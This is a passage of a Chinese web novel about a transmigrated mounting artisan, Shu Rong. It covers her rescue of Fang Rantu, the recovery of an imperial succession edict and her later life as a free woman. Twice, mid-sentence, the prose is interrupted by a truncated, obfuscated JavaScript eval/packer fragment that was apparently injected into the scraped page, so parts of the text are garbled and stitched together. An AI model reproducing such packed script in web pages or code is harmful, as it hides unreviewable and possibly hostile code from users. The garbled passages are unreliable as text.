他们试图进入别院中探查云龙帮的踪迹,别院里面守卫森严,没有办法进去。两人便绕着别院观察,在别院的后山,两人遇到了被困在陷阱里的木匠谭大山。救出谭大山后,他们从谭大山口中得知了承光殿事情的真相。 原来是赵王府的人找上了云龙帮的管事,答应事成之后给管事一千两的酬金,管事便答应下来。云龙帮都依赖管事找活干,很多人也根本不识字,管事便让人趁只有云龙帮在的时候将偷偷做好的匾额换上去,而原来的匾额被拆下来劈开当做晚上取暖的柴火烧掉。那匾额挂上去后就盖上了明黄绸布,盖上前方德言曾亲自来承光殿视察过,因此也没有人怀疑过上面已经换成了另一块。 等到工期结束,他们便同其他的工匠一起结算了工钱,离开皇城。不同的是他们云龙帮的人坐马车到了五通镇。在镇上管事招待他们喝过酒后,赵王府的人就带他们去了这座别院,在别院设下了一桌酒席。每个人都喝得醉醺醺的,谭大山因为拉肚子中途离席,等他回去是才发现云龙帮的其他九个人全部被赵王府的人用剑杀死。他小心躲起来,趁晚上巡逻松散时从后院翻墙出去,后来赵王府的人在附近追查他,他便不慎落入这个村民挖的陷阱里。 方冉途和康平将谭大山救出来后,三人凭借谭大山在赵王府中听到的话,找到了埋葬九个工匠的土坑。他们正准备离开时,遇上了追杀谭大山的护卫,康平因为下山牵马躲过一劫。对方人多势重,他去也帮不上什么忙,于是赶紧回来求救。 “舒容姑娘,我们接下来怎么办?”康平着急问道,他真的害怕方冉途出事。 舒容心跳得很快,嗓子发紧,她想起那天方冉途说的等他回来的话,想起他的眼睛看向自己的神情。她绝对不能接受方冉途出事,她一定要救他。 官府是一定不能去的,方家如此处境官府的人只会袖手旁观,加上赵王府,他们若知道自己去官府求救一定会从中作梗,阻碍救人。 舒容把手支在木桌上抵在自己的额头,她闭上眼睛回想自己能求救的人,突然,她想到了那天路过救他们的傅文瑛。他是大理寺少卿,又是皇后胞弟,他如果肯帮忙一定能救出方冉途。 她站起身,对一旁愁眉苦脸的康平道:“走,去傅文瑛府上。” 此刻赵王府的书房里,赵王韩昶正在整理自己收集来的古董字画,他小心翼翼地展开欣赏。 “王爷,别院的事已经处理妥当。”管事韩昌回话道。他的儿子是别院管事,因为怕王爷怪罪自家儿子弄丢一个人,所以先帮忙在王爷面前遮掩,背地里再吩咐儿子加大人手赶紧把那人找到弄死。 赵王看着画上飘逸的题字,笑道:“很好。我仔细想了很久的这份寿礼也不知道皇上他喜不喜欢?”想起那日承光殿上韩纪被气得吐血,他为自己的巧思自豪起来。他韩纪也不过就比他母族好一些就捡漏登上了皇位,若他的母族能强一点,今日在龙椅上坐着接受群臣朝拜的就该是自己。 想起韩纪他冷哼一声,接着又埋头欣赏起画来。 舒容没有任何时候比现在痛恨自己不会骑马,她坐在马车里,康平驾车,过了有半个时辰才到傅府。 “小少爷,有一位姓舒的姑娘找你,说她来自方府,之前曾乘过你的马车,今日有要事求救。” 听到小厮通报,傅文瑛放下手里青冥剑。来自方府又乘过自己的马车,那不就是跟在方冉途身边的妾室。她来求救,有趣。他嘴角扯起一抹笑,道:“请她进来吧。” 舒容跟着小厮进入傅府,穿过两个长廊,绕过一座花园后终于到了傅文瑛的院落中。傅文瑛斜坐在紫檀木的官帽椅上,翘着二郎腿,饶有兴味地看着跟在小厮身后进来的舒容。 今日的舒容头发松松挽起,只簪了两根珍珠发钗,身上穿淡蓝色的对襟袄裙,素雅恬淡,很是温婉。 “傅大人,我家二少爷有难,恳请傅大人出手相助。”舒容扑通一声跪在傅文瑛面前,她没有求人的资本,只能拿出自己的诚意。 傅文瑛看到舒容如此,便起身绕过书桌,走到她身边,扶起她。“起来吧,你先说说是什么事?我再考虑帮不帮。”他看过太多在他面前跪地求饶求情的人,心中已经对此毫无波澜。 舒容抬头看向他漆黑的眼眸,道:“大人,我家二少爷追查承光殿的线索,追查到涉及匾额一事的云龙帮木匠消失在京郊五通镇赵王的别院,赵王已经将他们杀害,只留有一个临时跑掉的活口。我家二少爷在救那个活着的木匠时被赵王护卫发现,小厮回来报信于我。恳请傅大人赶快出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好,我马上去。”康平飞快地跑远。 舒容怕锄头伤人,只敢用手刨土。 “二少爷,二少爷,你一定不会有事。”舒容用力刨着面前的黄土,雨水落在她新刨的地方很快形成一个水坑。雨水冲刷下她忽然看到了他被埋在泥土之下的手,舒容赶紧刨开,她捏住他的手,大声喊道:“二少爷,你坚持住,我马上救你出来。” 方冉途和谭大山在康平走后被赵王别院的护卫围攻,两人一路逃,却很快被对方追上来,两人力量不敌,败下阵来。对方管事一人一记手刀将他和谭大山双双打晕过去,就地活埋。他感受到自己的生命在一点点流逝,就快要自我放弃的时候,他又听到了舒容的声音,感受到她在握紧自己的手,他突然又有了生的希望。 傅文瑛过来时就看到舒容跪在地上用力地刨土,淋湿的衣裳贴着她单薄的脊背,手上满是黄色的泥浆。此刻他觉得她不是朵娇花,她是一根韧草。 有人帮忙后,救人的速度大大提升。很快,舒容就挖出了方冉途的脑袋,她用衣袖一点点擦去他脸上的黄泥,哭道:“方冉途,太好了,你还活着。你再坚持一下,我们马上救你出来。” 方冉途无力地睁开眼睛,隔着雨水看着面前流泪的舒容,天地如此阴暗,她却如此光明。 “别哭了,我还好。”他努力扯出一抹笑,费力地说道。 舒容点点头,用自己的衣袖,挡住他的脸不被雨水淋到。过了一盏茶的功夫,方冉途终于被从土坑中救了出来。谭大山就埋在方冉途旁边,也一并被救出来。 舒容查看方冉途身上发现没有伤口,她一把抱住了方冉途。她紧紧贴住他的胸膛,感受他的心跳和体温,从今以后,她再也不要失去他了。 方冉途感受到她的温暖,也紧紧回抱住舒容。 几秒钟后舒容轻轻推开方冉途,“二少爷,今日是傅文瑛傅大人来救了你。你先过去道谢吧。” 方冉途没想到舒容竟然能请动傅文瑛。他走到傅文瑛面前,“傅大人,今日之事方冉途感激不尽,来日必当报答。” 傅文瑛戴着斗笠,他嫉妒地看着眼前的方冉途,想起方才他和舒容二人旁若无人的拥抱,语气略带嘲讽道:“方大人下次别再让我救你就是了。” 一行人就此下山回到京城,刚到城门的时候风雨停歇,阳光重新照耀大地。 方冉途和舒容同骑一匹马,临分别时,舒容对傅文瑛道:“傅大人,明日可否由傅大人带我们进宫面圣。我有要事要禀报圣上。” 傅文瑛以为她说的是云龙帮的事情,点点头同意了。约定好第二日清早在承德门见面。 36. 面圣 回到桂馨院,舒容沐浴后跟方冉途讲了柳芳意的事情。 “如果她说的是真的,那父亲一定能得救。”方冉途高兴道。 舒容想起柳芳意握住自己的那双粗糙的手,她点点头道:“我相信她。柳娘子说的话时间都能对得上,而且根据这次赵王所做的事情来看,当年的事情应该就是他的手段。” 第二日在承德门他们遇到一身常服的傅文瑛。因为傅文瑛的关系,他们在元和殿顺利见到了韩纪。 “参见陛下,吾皇万岁万岁万万岁。”舒容跪在地上,重复着刚才方冉途教她的话。她盯着地上的石砖,直到许久后方才听到免礼的声音。她站起身瞄了一眼向坐在殿中正上方的男人,长相中人之姿,通身却有一种压迫感。 韩纪看着下方站着的几人,想来是为了方德言的事情来向他求情的。他开口道:“你们今日为何事而来?” 方冉途和谭大山将赵王和五通镇的事情告诉韩纪,韩纪却并不意外,昨日傅文瑛已经将此事向他禀报过。他看向手里拿着东西,却还没有开口的舒容问道:“你又是为何而来?” 舒容向前一步,双手捧着那两样东西,从容道:“皇上,民女为皇上正名而来。” 听她的话韩纪有了些兴趣,他身边的心腹太监见状上前取过舒容手里的东西,呈到他面前。韩纪取出荷包里的东西,发现是一枚红月玉佩,他觉得这枚玉佩自己似乎在哪里见过。又打开另一个锦盒,锦盒里头是已经断成两节的一枚铜锁。 舒容见他已经看完,出声道:“皇上,这两件东西是民女从一名叫柳芳意的女子处意外得来。她曾是元极殿的宫女,后被皇后赐婚给先皇的刺峰卫首领原陌,这红月玉佩便是当年魏皇后,现今太后所赐给她的新婚礼物。因为赵王想要偷窃诏书,原陌奉命将给您的传位诏书藏于藏书阁明德塔的牌匾之上。诏书锁在漆木盒中,这锦盒之中便是打开漆木盒的钥匙。” 韩纪听完她的话,心狂跳起来,他眼睛含笑地看着站在下方的舒容,若她所言非虚,这些年世人对他的得位不正的流言就可以到此为止了。 “只是,这钥匙是断的如何能打开锁?”韩纪喃喃自语道。 “皇上,咱们匠造处也有许多能工巧匠,何不让他们来试试?”旁边的太监提醒道。 韩纪笑着点头道:“去传匠造处的人来。” 很快,匠造处来了六名匠师,看过断掉的钥匙之后都摇摇头束手无策。 “皇上,这断掉的钥匙已经无法还原。” “皇上,我等无能为力。” 韩纪挥手让匠师退下之后,看着盒中的断钥匙皱眉。舒容出声道:“皇上,这断锁民女能修复,请给民女两天时间。” 听到她的话韩纪又有了希望,他笑道:“好,朕便给你两天时间。” “谢皇上。” 众人告退后,韩纪拿着红玉玉佩去永宁宫找魏太后求证。魏太后拿着玉佩反复看后惊讶地说道:“皇上,此物怎么会在你手上,这是我许多年前赐予原陌妻子的新婚礼物。” 知道玉佩来历不假后,韩纪放下心来。他的心腹太监也去明德塔确认过是有一个漆木盒在此处。 回到方府,舒容和方冉途将今日之事告诉何夫人,“太太,老爷没事了。过两天就能回来。” 何夫人拉着他们两个的手笑道:“好,好,那我就在家里等着老爷回来。” 送走二人后,何夫人一个人坐在罗汉床上抹泪。 “老爷都没事了,太太怎么又哭起来?”张嬷嬷调侃道。 “我是高兴的。”老爷能够平安出来,离不开这两个孩子的努力,康平已经原原本本告诉了她在五通镇发生的事情,她没有想到舒容能为二郎做到这种地步。 睡前,舒容将门锁好。拿出了那方装着断钥匙的锦盒。 “7749,你在吗?”舒容在脑海中召唤系统,她要使用一键焕新来修复这把钥匙。 “亲爱的主人,我在。您有什么需要?” “7749,我要使用一键焕新来修复这把钥匙。” “亲爱的主人,您目前只有一次一键焕新的机会确定要使用吗?” 舒容点点头,“要。”说来也倒霉,她在系统抽奖中只抽到过一次一键焕新,马蹄刀倒是抽到无数把,除了之前给的,后来她给胡顺和李碧兰每人又送了三把马蹄刀,此外她还留了六把在店里准备送给未来的学徒。胡顺和李碧兰问她哪里来的,她都说是机缘巧合下从一个铁匠哪里低价批发的。为了不引起怀疑,现在她都没有再兑换过奖品,只把奖品保存在系统上。 “亲爱的主人,已为你调出一键焕新机会,请将马上出现的光圈套到要修复的物品上。” 7749说完,空中出现一道淡紫色的光圈,她伸手移动,光圈便随着她的手而变化,最后定格在她放在桌上的钥匙上。 “亲爱的主人,请再次确认要修复的物品。” 舒容按下悬浮在空中的确认键后,淡紫色的光圈内部出现一道白光,接着白光散去,一把崭新的钥匙出现在锦盒之中。 “亲爱的主人,一键焕新已完成。请问还有什么需要?” “没有了。” 7749离开后,舒容想好了这把钥匙如何修复的说辞。那天从皇宫回来后舒容说要修复钥匙,和方冉途约定去皇宫的那一天再见面。为了使自己的说辞显得逼真,舒容去街市上买了许多和断裂钥匙长得差不多的黄铜钥匙。如果有人问起,她就说是机缘巧合下打磨出来的。 两天后,舒容带上锦盒和方冉途见面,“走吧,二少爷。”舒容笑着道。 元和殿皇上看过钥匙后,便召集百官到藏书阁的大殿门口,由国子监祭酒登梯取下漆木盒,再由丞相在众人面前打开。看到里头明黄色的诏书,丞相取出诏书当着众人的面念了出来: 六皇子韩纪宽容体仁,德才兼备,朝堂内外素有贤名,今特立次诏传位于尔,望尔勤政爱民,保我大启江山永固。 传位诏书很短,丞相念完后韩纪又让先帝时期的各位大臣上前看过,的确是先皇的笔迹。在丞相的带领下纷纷跪下山呼万岁。韩纪给群臣赐宴后,在元和殿单独见了舒容。 “此番尔有大功,想要何种赏赐?”韩纪高兴地问她道。此番他多年的心结已解,父皇中意的继承人就是自己,他就是父皇最自豪的儿子,他的心里畅快极了。 舒容脸上露出一个幸福的笑容,她等了好久的一刻终于来了。她跪在殿中,抬头面视韩纪道:“皇上,民女别无所求,惟求恢复自由身。民女是方府家生子,世代不可为良籍,恳请皇上给民女一个独立的良籍身份。” “这没问题,只是家生子多是达官贵人家才有的,虽为奴籍,其生活却有保障,不输寻常百姓之家。你自立户籍,无依无靠,可想清楚了?” “民女有一技之长可以养活自己。”舒容自豪地说道。 韩纪点头道:“好,有志气。如此我便赐你房舍一所,金百两,以资你生活之用。” 舒容叩头谢恩,“民女谢皇上隆恩。只是民女想把这份恩典转赠给民女钥匙的柳芳意。柳芳意夫妇当年被赵王所害,原陌被杀,她的眼睛被药瞎,独自在枇杷巷中做浣衣女抚养遗腹女长大。其生活困苦,比民女更需要这些,请皇上恩准。” “你有此心是好的,只是不必转赠于她,朕再赠一份给她便是。” “民女叩谢圣恩。” 在回去的马车上,舒容告诉了方冉途自己所求的恩典。 方冉途看到她眉宇间舒展的模样,问道:“这是你一直想要的吗?”他从来不知道舒容因为家生子的身份困扰。 “嗯,我想要成为一个自由的普通人,而不是以奴仆的身份活着。”舒容郑重地说道。从她穿来知道自己是家生子的那一刻起她就一直渴望能摆脱这个身份。她不想成为任何人的奴隶,任何人的附庸,她就想做个自由的普通人。 看着她眼神里溢出的喜 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“老爷,太折煞舒容了,你是方府的主心骨,我们是方府一份子,尽心尽力都是应该的。” “是啊,爹。” “好了,好了,情谊咱们都记在心里,你们大伙儿都过来坐下喝喝茶,歇息歇息,这些日子,大家都过得不容易。”何夫人把人都拉到茶桌旁坐下。 舒容和方冉途一直采晖堂陪二老聊天,晌午后,宫里的公公到了府上,给舒容带来了良籍文书和赏赐。 接过旨后,舒容是溢于言表的喜悦,看到薄薄一张纸上写的良籍二字,她心头千般滋味,眼角忍不住流下泪水。 方冉途看到她的泪水心中抽痛,到她身边用手帕轻轻给她拭泪。他此刻在心里暗暗发誓,以后一定要对舒容好,不要让她因自己流泪。 何夫人则是没想到舒容会求这样一份恩典,她本来已经和方德言商量好让方冉途娶舒容为正妻。 舒容先和何夫人告辞回了桂馨院。方冉途则留在采晖堂和何夫人解释他和舒容之间的事情。何夫人得知他和舒容之间清清白白直到今天才表明心意,心中又气又喜。 “我本来刚才都和老爷商量好了让你娶舒容为妻,现在可怎么办才好?”何夫人忧愁道。舒容和二郎清清白白,现今又有御赐的宅邸,肯定很快就要搬出府去。 方冉途没想到爹娘这么支持他和舒容成为夫妻,他羞涩道:“儿子也想娶舒容为妻。只要舒容愿意。” “那你就努力让舒容愿意,你今年十九岁,明年正是可以成婚的年纪了。”何夫人道。 想到舒容穿上嫁衣的模样,方冉途嘴角忍不住笑,“儿子会努力的。” 何夫人想到中意的儿媳现在人家还不知道同不同意,嫌弃地把方冉途打发走了。 “儿孙自有儿孙福,夫人切莫忧心。何况两个孩子现在都心中有彼此,只要缘分到了,他们自己能走到一起。”方德言给何夫人端来她最爱吃的枣糕放到她面前开解她道。这次牢狱之灾,他真的以为自己会如狱卒们所言被斩首,想到永别妻儿,心中痛楚万分。现今能够平安回家,伴在爱妻身边听她说话,何其幸运。 桂馨院里,绿影看到舒容回来连忙迎上去,这些日子舒容因为老爷的事情在外面奔波,她在桂馨院里每天都焦心不已。 舒容把绿影拉到寝房,迫不及待地给她展示自己的良籍文书,“绿影,我自由了。我跟你一样是个良籍了。” 绿影现在也认识一些字了,看到文书上舒容的名字,她的眼里也落下泪来。“姑娘,太好了。”从今以后姑娘再也不必拘束在这宅院之中,提到自己的身份时可以说自己是个掌柜,不用说自己是个奴才,是个家生子了。 舒容抱住绿影,狠狠在她怀里哭了一通。哭过后,舒容便拉着绿影到福记酒楼去庆祝。两人回到府里已经傍晚过后。 37. 舒容有了自己的家 第二日一早,何夫人派碧桃请她到采晖堂中说话。 “舒容,我已经知道你和二郎的事情,你要离府我也不挽留你。你是个好姑娘,二郎也是个好儿郎,我是真的希望你们能走到一起。”何夫人语重心长地说道。 舒容点点头,她和方二郎如今互通心意,算是走到恋爱阶段,离结婚还是有些距离。 何夫人拿过张嬷嬷手头的文书递给舒容,“这是绿影的卖身契,那个孩子从你进府起就服侍你,你离府也把她带走服侍吧。” 舒容接过卖身契,小心地收好,“舒容谢过太太。” “定好几日搬家没有?我派人将桂馨院的东西给你搬到新家去。” 舒容想了想,道:“后日就搬家。舒容在此多谢太太相赠。” 何夫人拍拍她的肩膀道:“以后记得多到府里来看我。” “舒容会的。” 回去后,舒容把卖身契还给了绿影,“绿影,你也自由了。” 绿影哭着把卖身契撕成碎片,哭过后,她擦干眼泪对舒容道:“姑娘,绿影还是想要和你待在一起,你不会赶我走吧?” 舒容伸手抱住她道:“不会的,你想要留在我身边就留,我以后给你每个月一两的月钱。若你想走,那你就告诉我,随时都可以走。” “嗯嗯,我要和姑娘在一起。绿影和姑娘永远不分开。”绿影感动道。 吃过午膳后,舒容便拉着绿影去看皇上所赠的宅邸,宅子位于城南德昌街,离方府和存古堂走路都有半个时辰的路程。宅子中有一个守门的老翁,老翁将宅邸给她做了简略介绍后就把钥匙交给了舒容。宅子是一个二进的院落,里头已经是装修好的,可以直接拎包入住。舒容和绿影在宅子里头选好自己的房间后才回方府。 方冉途今日已经去翰林院当值,皇上今日将他提拔为翰林院侍读,同僚在翰林院附近的酒楼为他庆贺。等回到竹香院时已经是二更。他便没有去桂馨院打扰舒容。 第二日舒容便和绿影在桂馨院里整理库房的东西,整整收拾了一天才算完成。方冉途一下值就跑到桂馨院里找舒容。 看到他身上的补子换成了鹭鸶,舒容向他恭喜道:“方大人看来升官了啊。” 方冉途拉住她的手,笑道:“昨日的事情,皇上升我为侍读。今日我听说赵王府已经被陛下管制起来,陛下正着傅大人查理此事。” “赵王也该为他做的缺德事付出代价。”舒容道。柳芳意夫妇和那些不知情的木匠何其无辜。 看到房间里满是收拾好的箱笼,方冉途有些委屈道:“你都收拾好了,什么时候走?” “明天上午。”舒容笑着盯着他的眼睛说道。 舒容伸手摸方冉途的脸,对方却对把脸在她手里蹭起来,活像一只求人抚摸的粘人小猫。绿影本来坐在锦榻上打瞌睡,看到两人腻歪成这样子,赶紧起身从二人身后跑出房去。 方冉途和舒容一起吃过晚膳,一直待到就寝时分,方冉途才恋恋不舍地回到竹香院。 第二日一早,舒容去采晖堂拜别过何夫人后就开始搬家。她的行李不算多,家具都不用带,只用了三辆车就搬完。舒容和绿影把东西往各处放好,时间又过去了一天。府里没有吃食,两人就在附近的馄饨摊上吃了两碗馄饨当作晚饭。想到没有早饭吃,两主仆又去点心铺买了一些桂花糕。 刚走到德昌街,舒容就看到方冉途拎着一个食盒站在府门外头。舒容加快脚步走到他旁边,惊喜道:“二少爷,你来了。” 方冉途看到舒容出现,眼睛就一直盯着她看,等她走近,他把手里的食盒拿给她看,“这是我给你带的酸梅鸭。” 舒容笑着接过食盒,“多谢二少爷,我最喜欢吃酸梅鸭了。” 舒容把食盒递给绿影,看天色尚早,便道:“二少爷进去坐坐吧,我和绿影都收拾得差不多了。” 舒容说着就上前打开了大门,对他做了一个请的姿势。进府后,绿影去烧水泡茶,舒容则带着方冉途在院里四处参观。 约莫一炷香的时间就参观完了所有地方,二人回到前厅。绿影也把泡好的茶水端上来。 想到方才舒容带领自己参观时脸上的笑容和欢快的语调,方冉途明白她在这个属于自己的地方比在方府快乐很多。他微笑着看向旁边喝茶的舒容,就这样看着她哪怕什么也不做,他都觉得自己身上的疲惫感一扫而空,只要看到她就感觉很是幸福。他娘曾说过相爱的人在一起甚至不需要说话就会觉得幸福,之前他不理解这句话,现在他懂得了。 舒容有些口渴,小摊上的馄饨盐放得有点多。茶杯中的水又太烫,她急着喝水一直往茶杯吹气,喝了半杯水下肚,嗓子才感觉舒服很多。侧过头发现方冉途正含情脉脉地盯着自己看,她放下茶杯也转过去与他对视。 绿影看到两个人又要开始互送秋波,赶紧离开,回了自己屋子里做针线。 “二少爷,你为什么喜欢我啊?”舒容突然问道。她有些好奇这个问题的答案。 “因为你善良,聪颖,冷静,美丽。因为你和别人都不同,你有力量,生气勃勃,跟你待在一起我就感到满足。”方冉途想了会儿说出自己的答案。 听到他夸自己舒容心里挺高兴,她也承认自己有方冉途说的这些优点,她就是一个很好的人。自得过后,她开口道:“那你知不知道我为什么喜欢你?” 方冉途摇摇头,期盼地看着她等着她的回答。 舒容起身走到方冉途身边,用手捧着他的脸,居高临下地俯视他的眼睛,笑道:“因为你美。” 说完放开他,走到一旁将屋里的蜡烛点燃。天色已经黑了下来,屋中的光线也变得昏暗起来。 方冉途回想舒容略带调戏的口吻,他在舒容背后摸了摸自己的脸,如果舒容真的只是因为他的这张脸爱他,他也愿意。只要能和她在一起,他什么都愿意。 “二少爷,时候不早了,你早些回府吧。”外头突然刮起风,院子的树叶被吹得哗哗作响,她怕等会儿会下雨,便催促他回家。 送他到门口的时候,舒容突然想起自己还没有和他坦白过自己书画修复师的身份。现在已经搬出方府,她也没有必要再隐瞒他了。“二少爷,我其实有一件事没跟你说,我在甘水巷上有一家自己的铺子。” 她话还没有说完,方冉途就打断道;“我知道,存古堂。” “你怎么知道的?”舒容觉得自己保密工作做得挺好的,府中除了绿影应该没人知道才是。 “上次在存古堂门口遇见你,当时就有些怀疑,后来有次我去墨香街买东西刚好在楼上见到你去翰墨阁买纸,我和掌柜是熟识,是他告诉我你是存古堂的掌柜。” “那你为什么不拆穿我?”舒容想起自己那天为了跟掌柜砍价确实说了自己是存古堂的掌柜。 “我想你一定有不能告诉我的原因,等你想告诉我的时候自然会告诉我。无论你想做什么,舒容,我都相信你,我也希望你要相信我。”方冉途看着她的眼睛认真地说。 “我相信你。”舒容重重地点头回应他。虽然现在自己的来历还没有办法告诉他,相信会在未来的某一天向他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人说完这事就商量着晚上吃什么,舒容刚想说想吃笋炒腊肉,就听到大门口响起敲门声。 料想肯定是方冉途,舒容跑过去打开门,发现正是他和康平两人提着食盒站在门口。 四人一起吃饭,饭后,方冉途和舒容坐在院中的凉亭里说话。 “太子替皇上代发修行半年时间,皇上钦点我跟随前往负责给太子讲授课业。”方冉途道。他没想到和舒容这么快就要分别。云台山距京城有三百里远,单程最快也要四五日的时间,这半年时间里,两人不会再见面。 舒容看过大启朝的地图,知道云台山在京城以东。因为高祖皇帝在攻打天下时在云台山被和尚所救,建国后便封云台山为圣山。高祖皇帝的太子为高祖疾病在云台山祈福一年,高祖皇帝病愈。此后皇子在云台山为皇帝祈福便成为一条不成文的规矩,几乎每位皇子都会去云台山为皇帝祈福,时间从一个月到一两年的都有。 想到明天过后有半年的时间会见不到方冉途,舒容突然很想让他今夜留下来。她把脑袋靠在他的胸口。 感觉到舒容的体温,方冉途伸手抱住她的细腰,“舒容,我会每天都想你的。” “我也是。”舒容拉起他的手和自己的手紧紧贴在一起。 “舒容,你不准在我不在的时候喜欢上别的男人,我会经常给你写信的。”方冉途委屈道。 舒容抬头看他的脸,笑道:“方二少爷这么好看,我怎么会喜欢上别人呢,我只会喜欢你的。” “你保证?” “我保证。” 38. 春光依旧好 第二天方冉途陪太子出发去了云台山。在他走后的第十天舒容在路边的香饮子摊听到了隔壁桌的两个男子谈论赵王的新闻。 “哎呀,你是不知道赵王府抄家抄出了多少好东西,我足足见户部的马车拉了整整三天才拉完呢。” “听说大理寺傅大人查出来赵王和盐商串通倒卖私盐,还有前些日子承光殿的事也是赵王干的,我说呀这一家子都不是好东西,怪不得平日里做派那么奢靡。” 旁边的一个男人听着二人说话也端着绿豆汤加入进来,“哎,你们这消息都落后了。听说赵王府的人全被贬为庶民,流放离昌。那赵王听说这个消息,当夜就在家里上吊自尽了。” 三人就赵王上吊一事讨论一阵后又说起京城里的其他达官贵人府上的小道消息。 舒容喝完碗里的紫苏饮起身离开,今天她要去和存古堂隔壁店的铜掌柜去官府做店铺的过户文书登记。铜掌柜的杂货店在里甘水巷三条街外的红柿子街上新买了一间更大的店铺,因此就要把甘水巷的店铺出手,舒容得知消息第一时间就联系铜掌柜。铜掌柜的店铺也是带后院一起卖的,其面积比存古堂要大上两倍不止,舒容和对方砍了几回价,最终以三千两成交。 买到新店铺后,舒容打算把两个铺子打通。有了这个想法后她就设计图纸请人施工,三个月后,焕然一新的存古堂重新开业。何夫人还专程到甘水巷给她送来了贺礼。 胡顺和李碧兰的出师考核顺利通过,姚爽和姚琛也学得有模有样,舒容把店里书画装裱的事情交给胡顺和李碧兰,她自己则主要带姚爽和姚琛学习。上次陈员外的荷花图送出去后大受好评,几个拿到荷花图的城南富商都找到陈员外问装池店的地址。舒容的装池店一时成了城南富商装裱书画的首选。 墨香街的风雅阁听说存古堂这家小店抢了自己往年的单子,风雅阁的韩掌柜特意请舒容去参加墨香街裱褙行业的比赛。本意是想羞辱舒容一番,没成想舒容却取得了第一,自己反倒搭台子让舒容唱戏。此次比赛后存古堂的名气已经传到素来爱去风雅阁装裱的达官贵人耳中,存古堂的生意愈发红火。 无奈单子太多,存古堂人手有限,舒容只得扩大学徒招生。她在城里各处张贴小广告,这次很快就招到了二十名学徒。舒容之前编写的《裱褙常见样式和实用技巧》拿到书肆去刊印出百本,除了自家留作教学用以外,舒容还往墨香街每家店铺赠送了一本。赠书之后,墨风雅阁韩掌柜倒请舒容吃了一回饭,还推荐了两个朋友的女儿到存古堂学习。 一晃眼半年时间就要过去,绿影都已经通过经纬阁测试成为经纬阁学徒四个月了。 舒容在没事做的时候就会想起方冉途。方冉途每隔几天就会托人送来一封信,跟她分享在云台山的生活,他天天在云台山跟太子讲课的内容。当然,信中更多的内容是表达对舒容的想念,他让舒容不要变心,等他回来。舒容在每个想他的夜晚就反反复复看他写的信。 十二月十日,方冉途终于从云台山踏上了归程,他归心似箭恨不得能够下一瞬就到舒容的身边。在回去的途中,他收到了一封来自舒容的信。这封信和舒容其他说想他和调戏他的信都不同,这封信里舒容给他讲了一个故事,一个异世界鬼魂借人身体还生的故事。在信件的末尾还有用他不认识的文字写下的一句话。 想了很久,舒容还是决定和他说明自己的来历,她确认过自己对他的心意,她不想再对他隐瞒,所以把决定权交到他手里。信寄出去以后,她让自己尽量不要再去想这件事,既然让他选择,无论他怎么选,她都尊重他的决定。 十二月十四日,舒容和绿影在屋子里头烤火,才过大雪节气,天气已经一天冷过一天。绿影在碳火上用铁网烤着板栗,板栗的香味弥漫在整个屋子里面。舒容算着日子,方冉途应该快到京城了,她突然有些心烦意乱。 “绿影,我出去院子里剪把腊梅回来插瓶。”舒容说完起身拿起披风和一把剪刀出了门。 屋外正下着雪,雪花漫天飞舞,地上已有厚厚一层积雪。舒容往院子里的腊梅树的方向走,眼睛却不时看向大门口的方向。等她剪好一把腊梅准备回去时,大门口忽然传来铜环叩门的声音。 舒容怔怔地望向大门口的方向,是他来了吗?舒容眼眶一下子湿润起来,她快步朝大门的方向走去,迅速地打开门。 “舒姑娘,你家要的五十斤碳,我给放这里了。钱已经上次结过了我就先走了。” 看到门口是送碳的小贩,舒容心情顿时跌落谷底。或许他不会再来。 “好,多谢了。” 小贩走后舒容准备先把腊梅拿回屋里,再和绿影一起搬煤炭进屋。刚要转身,抬头就望见街对面有一个熟悉的身影,茫茫白雪下他就站在那里,微笑着看着自己。 此时舒容再也忍不住,她抛下手里的腊梅花,朝他的方向飞奔而去。两人紧紧相拥的一刻她觉得所有痛苦的等待都是值得的,她的爱人回来了。 方冉途一早就回了京城,陪太子去元极殿见过皇上后就骑马飞奔到了这里。看完那封信后他心中也有一丝疑虑,可见到舒容向来跑来的时候,他的心就有了答案。他伸手紧紧把舒容揽在怀里。 “舒容,无论你来自哪里,是人是鬼,我都一样爱你,此生不渝。” 六年后四月天,春光明媚,处处莺歌燕舞。 人潮熙攘的永安渡,一身白衣的方冉途抱着手拿糖葫芦的女儿舒庆站在渡头,望着过路的船只。 “爹,娘是今天到吗?”舒庆皱着眉问道。 方冉途低头看着白白胖胖的女儿道:“是啊,就是今天。” “可是我昨天问你,你也是这么说的啊。”舒庆不满道,今天已经是她连着三天陪爹爹到码头等娘亲了。 “一定是今天,要是你娘今天没到,我就再给你买一个糖葫芦。”方冉途安慰女儿道。实际上他也不清楚舒容究竟是哪一天到,根据他的推测应该就在这几日。看到女儿的一双和舒容神似的丹凤眼,方冉途想到了之前和舒容成亲的事。 五年前,他终于满了二十岁,他迫不及待地去跟舒容说想要娶她 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舒庆满一岁的时候,游历江湖的褚炤回来参加了舒庆的周岁宴。舒容经过和褚炤的一番谈话,也起了要去周游天下的心思。方冉途苦苦挽留哀求,舒容终于同意每年只出门一个月。此后每个三月他就在永安渡送舒容上船离京,每到四月他就到永安渡接舒容回家。 船舱里头舒容已经打包好行李,无事便站在舷窗口望着窗外的风景等着随时下船。此行她去到了江南的裱褙世家吴家,和那里的裱褙师傅进行了切磋学习,受益良多。这些年舒容已经游历了江南各州,方冉途不允许她长时间离家,她还没有办法去更远的地方。每到一处,她都记录一份文字的笔记,等回京后的空闲时间里将笔记里的文字再用笔画出来。 现在存古堂早就不用她操心了,有顾风管理前店事务,有胡顺和李碧兰两人管着后店的装裱,她只需要时不时去看上一眼,解决一些他们处理不了的难题即可。更多的时候她在做为学徒授课的工作,粗粗计算存古堂已经培养出了近百名裱褙师傅,她也算是不负墨香街的众掌柜给她封的裱褙大师的称号了。 “船靠岸啦,船舱里的客官可以下船了。”走廊里头传来小厮的喊声。 